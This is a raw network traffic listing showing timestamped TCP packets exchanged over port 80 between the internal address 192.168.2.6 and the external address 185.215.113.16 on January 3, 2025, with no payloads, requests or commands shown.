Jan 3, 2025 15:21:28.955420017 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955425978 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.955432892 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955442905 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955468893 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955471992 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.955480099 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955492020 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.955492020 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955519915 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955521107 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.955550909 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955560923 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955564022 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.955576897 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955590010 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955596924 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.955602884 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955615044 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955626011 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.955626965 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955653906 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.001702070 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.078176975 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.078269005 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.078279972 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.078290939 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.078315020 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.078325033 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.078335047 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.078352928 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.078365088 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.078368902 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.078377962 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.078387022 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.078389883 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.078406096 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.078408003 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.078430891 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.078433037 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.078439951 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.078481913 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.078650951 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.078668118 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.078679085 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.078690052 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.078701973 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.078710079 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.078741074 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.078852892 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.078871965 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.078887939 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.078913927 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.078955889 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.078967094 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.078974009 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.078979969 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079029083 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079030037 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.079040051 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079061985 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079072952 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079082012 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.079091072 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.079098940 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079111099 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079134941 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079145908 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079154968 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.079175949 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.079180002 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079190969 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079202890 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079217911 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.079241991 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.079265118 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079276085 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079301119 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079310894 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079319954 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.079332113 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079343081 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079360008 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.079381943 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.079433918 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079446077 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079457045 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079483986 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079493046 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.079495907 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079507113 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079524994 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.079535961 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079545975 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079546928 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.079555988 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079575062 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079586983 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079596043 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.079598904 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079616070 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.079641104 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079643965 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.079649925 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079675913 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079687119 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079694986 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.079698086 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079709053 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079720020 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079732895 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.079757929 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.079880953 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079895020 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079906940 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079916954 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079929113 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079936028 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.079941034 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079952955 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079953909 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.079965115 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079973936 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.079976082 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.079999924 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.080019951 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.080431938 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.080550909 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.080564022 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.080573082 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.080585003 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.080595970 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.080607891 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.080622911 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.080631018 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.080632925 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.080645084 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.080656052 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.080667973 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.080667973 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.080708981 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.080713034 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.080724001 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.080734968 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.080745935 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.080749035 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.080758095 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.080773115 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.080775023 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.080787897 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.080799103 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.080835104 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.080862045 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.080876112 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.080900908 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.080913067 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.080919981 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.080930948 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.080950975 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.080966949 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.080985069 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.081001997 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.081015110 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.081027031 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.081027985 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.081043959 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.081053972 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.081058025 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.081070900 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.081073046 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.081099987 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.081146002 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.081156015 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.081166983 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.081178904 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.081190109 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.081212044 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.081223011 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.081223965 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.081235886 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.081235886 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.081249952 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.081262112 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.081275940 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.081300020 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.081353903 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.081435919 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.081449032 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.081460953 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.081471920 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.081482887 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.081485987 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.081492901 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.081504107 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.081505060 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.081516027 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.081526995 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.081532955 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.081540108 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.081552982 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.081573009 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.081588984 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.081592083 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.081610918 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.081620932 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.081628084 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.081634045 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.081645012 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.081654072 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.081655979 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.081667900 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.081692934 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.081715107 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.169179916 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.169239044 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.169270992 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.169284105 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.169296026 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.169306993 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.169313908 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.169320107 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.169331074 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.169384956 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.169675112 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.169686079 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.169696093 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.169708014 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.169718027 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.169720888 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.169730902 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.169742107 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.169745922 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.169753075 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.169764042 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.169797897 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.169806957 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.169842958 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.169858932 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.169899940 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.169914961 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.169933081 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.169944048 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.169955015 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.169965982 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.169971943 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.169989109 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.170006037 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.170109987 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.170149088 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.170171976 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.170192957 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.170208931 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.170223951 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.170228004 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.170236111 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.170247078 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.170258045 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.170268059 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.170269012 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.170279980 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.170300961 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.170304060 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.170315027 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.170342922 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.170346975 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.170356035 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.170367002 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.170370102 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.170386076 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.170394897 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.170416117 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.170423031 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.170428991 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.170447111 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.170461893 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.170465946 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.170491934 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.170501947 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.170520067 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.170528889 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.170531988 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.170550108 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.170551062 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.170568943 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.170578003 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.170583010 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.170604944 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.170604944 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.170618057 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.170649052 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.170649052 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.170660019 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.170676947 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.170686960 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.170689106 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.170701027 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.170711040 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.170731068 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.170737028 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.170743942 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.170757055 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.170768023 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.170778990 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.170788050 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.170815945 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.171487093 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.171499014 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.171519041 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.171536922 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.171540022 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.171549082 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.171560049 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.171562910 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.171587944 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.171598911 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.171612024 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.171622992 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.171633959 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.171644926 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.171654940 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.171669006 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.171691895 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.171691895 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.203253984 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.203265905 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.203277111 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.203308105 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.203342915 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.203704119 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.203722000 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.203732014 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.203742981 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.203752995 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.203756094 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.203764915 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.203774929 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.203780890 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.203804016 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.203814030 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.203830004 CET	80	49829	185.215.113.16	192.168.2.6
